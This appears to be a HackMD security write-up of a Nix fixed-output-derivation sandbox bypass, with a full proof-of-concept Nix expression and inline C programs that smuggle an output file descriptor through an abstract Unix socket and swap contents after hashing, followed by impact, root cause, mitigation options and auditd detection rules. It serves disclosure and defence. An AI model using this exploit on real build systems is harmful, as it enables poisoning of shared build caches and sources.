Jade
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
      • No invitee
    • Publish Note

      Publish Note

      Everyone on the web can find and read all notes of this public team.
      Once published, notes can be searched and viewed by anyone online.
      See published notes
      Please check the box to agree to the Community Guidelines.
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
No invitee
Publish Note

Publish Note

Everyone on the web can find and read all notes of this public team.
Once published, notes can be searched and viewed by anyone online.
See published notes
Please check the box to agree to the Community Guidelines.
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
1
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
# FOD sandbox bypass ## Original report ```nix # Nix is a sandboxed build system. But Not everything can be handled inside its # sandbox: Network access is normally blocked off, but to download sources, a # trapdoor has to exist. Nix handles this by having "Fixed-output derivations". # The detail here is not important, but in our case it means that the hash of # the output has to be known beforehand. And if you know that, you get a few # rights: you no longer run inside a special network namespace! # # Now, Linux has a special feature, that not many other unices do: Abstract # unix domain sockets! Not only that, but those are namespaced using the # network namespace! That means that we have a way to create sockets that are # available in every single fixed-output derivation, and also all processes # running on the host machine! Now, this wouldn't be that much of an issue, as, # well, the whole idea is that the output is pure, and all processes in the # sandbox are killed before finalizing the output. What if we didn't need those # processes at all? Unix domain sockets have a semi-known trick: you can pass # file descriptors around! Now, my first thought was "what if you open($out, # O_PATH) and pass that out of the sandbox?", but then edef came up with # something way easier: just pass an open file descriptor for the output to the # outside world! # # Let's set up some code, and I'll see you on the other side! { pkgs ? import <nixpkgs> { } }: let # Let's write a small C file, inline to this Nix code. sender = pkgs.writeCBin "sender" '' #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up a abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, "dihutenosa"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen("dihutenosa") + 1); if (res < 0 && errno != ECONNREFUSED) perror("connect"); if (errno != ECONNREFUSED) break; } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = ""; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror("sendmsg"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); } ''; # Okay, so we have a file descriptor shipped out of the FOD now. But the # Nix store is read-only, right? .. Well, yeah. But this file descriptor # lives in a mount namespace where it is not! So even when this file exists # in the actual Nix store, we're capable of just modifying its contents... # But that's not all! We're able to abuse another misfeature of Nix to do # this all without even corrupting the store! That's right, a fixed-output # derivation whose hash doesn't match the actual contents! smuggler = pkgs.writeCBin "smuggler" '' #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <sys/inotify.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, "dihutenosa"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen("dihutenosa") + 1); if (res < 0) perror("bind"); res = listen(sock, 1); if (res < 0) perror("listen"); while (1) { int a = accept(sock, 0, 0); if (a < 0) perror("accept"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf("preparing our hand...\n"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, "hello, world\n", strlen("hello, world\n")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, "/proc/self/fd/%d", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the "flat" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! Put in a reference for the other drv, // to make sure the CA flag gets wiped(!) write(res, "goodbye, world, ${mock}\n", strlen("goodbye, world, ${mock}\n")); close(res); printf("swaptrick finished, now to wait..\n"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } } ''; # That store path mentioned above? That's this one :) mock = builtins.toFile "mock" "mock"; # To make debugging easier, we append the current time in seconds to the # drv's names, to ensure we have to rebuild them every single time. t = builtins.toString builtins.currentTime; # And now to run the server: smugglerCaller = pkgs.runCommandNoCC "caller-${t}" { outputHashMode = "flat"; outputHashAlgo = "sha256"; outputHash = builtins.hashString "sha256" ""; } '' ${smuggler}/bin/smuggler # Make sure we don't error out on exit. touch $out ''; # Run the client side, or socket sender. smugglerSender = pkgs.runCommandNoCC "magic-${t}" { # look ma, no tricks! outputHashMode = "flat"; outputHashAlgo = "sha256"; outputHash = builtins.hashString "sha256" "hello, world\n"; } '' # ${mock} is now a dependency of this drv. exec ${sender}/bin/sender ''; glue = pkgs.runCommandNoCC "glue" { } '' if grep "goodbye" ${smugglerSender}; then echo "swaptrick success, yay" echo "try running nix-store --verify-path ${smugglerSender} :)" else echo "swaptrick failed :(" fi echo ${smugglerSender} > $out # ${smugglerCaller} to make sure we have both as a dep, so building one drv builds both ''; in glue ``` ## Impact Severe. This bug would permit, in theory, if two malicious FODs are scheduled around the same time on the same Hydra builder, to poison the next version of the bash sources, for instance. Do note that since some version of Nix after 2.3, this is no longer as severe an issue: You can no longer race the daemon to convince it to remove the CA flag from a CA output (and thus have it be considered non-corrupted if `nix-store --verify` is run) ## Root cause Abstract Unix sockets are namespaced using network namespace, allowing processes to send each other fds if they are simply in the same net namespace, without any filesystem in common. ## Mitigation There are three possible mitigations. We consider that FODs communicating with each other is uninteresting, because they can just use TCP; the offensive part is sending file handles amongst themselves. ### Block abstract unix sockets This is the most surgical solution, and probably reduces the number of breakages this would cause, especially if we only apply the blocking to FODs, which already shouldn't be doing much other than just fetching from the network. Advantages: - Surgically blocks just the thing we care about. - Doesn't change how derivations are executed Disadvantages: - This bug is a brilliant excuse to sandbox FODs harder by putting them in a net namespace and making the default configuration not accept less sandboxing. - Easier to miss some way to exploit the bug, although I cannot think of one, since this is literally the job of a LSM. - Requires root (I would at least imagine?!) The approaches to do this all involve a Linux Security Module (LSM); seccomp cannot do this by design, since the argument of the socket address is a pointer. However, there is a LSM hook that does get the data, directly on bind(2) entry: https://github.com/torvalds/linux/blob/5db8752c3b81bd33a549f6f812bab81e3bb61b20/net/socket.c#L1833-L1854. There are two viable LSMs that can be used to restrict this functionality: #### AppArmor AppArmor is definitely the older of the available LSMs. This could be achieved with the following rule: ``` deny unix addr=@**, ``` Sounds trivial? Well. Consider how the container implementations do it: - https://github.com/containerd/containerd/blob/main/internal/cri/server/container_create_linux.go#L190 - https://github.com/opencontainers/runc/blob/02120488a4c0fc487d1ed2867e901eeed7ce8ecf/libcontainer/apparmor/apparmor_linux.go#L58 In short, they write a file to `/etc/apparmor.d` of the outer system, run `apparmor_parser -Kr` to load the new profile. Then after fork prior to `exec`, put the new profile name in `/proc/self/attr/apparmor/exec` (through `aa_change_onexec` or otherwise), and `execve`. The significant problem here is that Nix would have to own part of `/etc/apparmor.d`, which is some rather ugly mutable state in `/etc` shared with the rest of the system. We could either add it as a static file in a package or write it at runtime, both of which are not easy for Nix to do. To add a profile there, we would have to silently reload apparmor profiles behind the sysadmin's back; in principle this is not too unsafe but it feels gross. Also, we would depend on the apparmor userspace tools, which is somewhat unfortunate. #### BPF-LSM Systemd uses this for various sandboxing, and it seems viable. It can be attached to one single cgroup, and it doesn't have any ugly userspace state. I haven't checked precisely, but I think it's likely it works back to kernel 6.0, which is relatively quite far back; certainly it's available on the latest LTS kernel. Here's an example blog post: https://kinvolk.io/blog/2021/04/extending-systemd-security-features-with-ebpf/ Here is basically the actual code that would be required, but not cgroupified due to "that seems like a pain to write the string manipulation necessary into a PoC in C": https://gist.github.com/lf-/bf569280dfc7f863fe274bc3def65e3d To make it work with cgroups, you would have to do the following: - Replace "lsm/" with "lsm_cgroup" - Replace the attachment procedure to manually attach the programs - attach with `struct bpf_link * bpf_program__attach_cgroup(const struct bpf_program *prog, int cgroup_fd)`: ` skel->links.socket_bind = bpf_program__attach_cgroup(skel->progs.socket_bind, cg_fd);` Advantages: - Very clean userspace implementation, doesn't touch the system except in ephemeral ways - Can expand this infrastructure to improve sandboxing as a whole in a very flexible way Disadvantages: - Less than 5 years old. May not have support on ancient distros. - Would have to stabilize cgroups integration in Nix and turn it on by default to use cgroup LSM #### Tomoyo Can also do this, but isn't built into at least the archlinux kernel so isn't really viable. ### Put the FOD builder in a netns This can be done with `slirp4netns`, which sticks the container in NAT (with IPv6 support). Note that there are a couple of caveats; for example, `/etc/resolv.conf` needs to be set up in the container. Example code in my project Clipper: https://github.com/lf-/clipper/blob/main/crates/wire_blahaj/src/unprivileged.rs#L279 Advantages: - Pretty easy to implement - More or less cannot leave any holes while doing it - Does not require root for suitable sandboxing Disadvantages: - Substantive change to the FOD sandbox execution environment; FODs see different IP addresses, DNS works slightly differently - Might break particularly weird use cases, but imo those should probably not be doing this anyway. - Blocks incoming connections to FODs, but who needs that, [fetchtorrent](https://github.com/NixOS/nixpkgs/pull/212930)? ### Neutralize the effect of FD smuggling Another way to mitigate this is to make it so that the exploit doesn't achieve anything. We could do this by copying the output paths after the builder is done, but before hashing. Thus, any retained handles have no effect, since we are hashing something that the now-former builder has no access to. This should probably be done anyway regardless of other mitigations. Advantages: - Changes nothing at all about how derivations are built - We probably should be doing this anyway to better isolate the builder Disadvantages: - Performance cost of copying every output, though this may be varying levels of trivial depending on the filesystem. For huge tarballs of tiny files like nixpkgs this might be quite bad. # Finding current usage It might be a good idea to figure out how much people are actually using abstract namespace Unix sockets to see if we would be breaking anyone if we banned them in FOD. We could use auditd on Hydra and audit all unix socket bind/connect, then analyze the audit logs: ``` -a always,exit -F arch=b64 -S bind -F saddr_fam=1 -k unix_bind -a always,exit -F arch=b64 -S connect -F saddr_fam=1 -k unix_bind ``` which can then be analyzed like so; 010000 at the start of the address in the log is an anonymous Unix socket ``` In [2]: unhx('0100002F686178') Out[2]: b'\x01\x00\x00/hax' In [3]: unhx('01002F72756E2F757365722F313030302F416C616372697474792D7761796C616E642D302D3135363132362E736F636B00') ...: Out[3]: b'\x01\x00/run/user/1000/Alacritty-wayland-0-156126.sock\x00' ```

Import from clipboard

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template is not available.
Upgrade
All
  • All
  • Team
No template found.

Create custom template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

How to use Slide mode

API Docs

Edit in VSCode

Install browser extension

Get in Touch

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Upgrade to Prime Plan

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

No updates to save
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Upgrade

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Upgrade

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully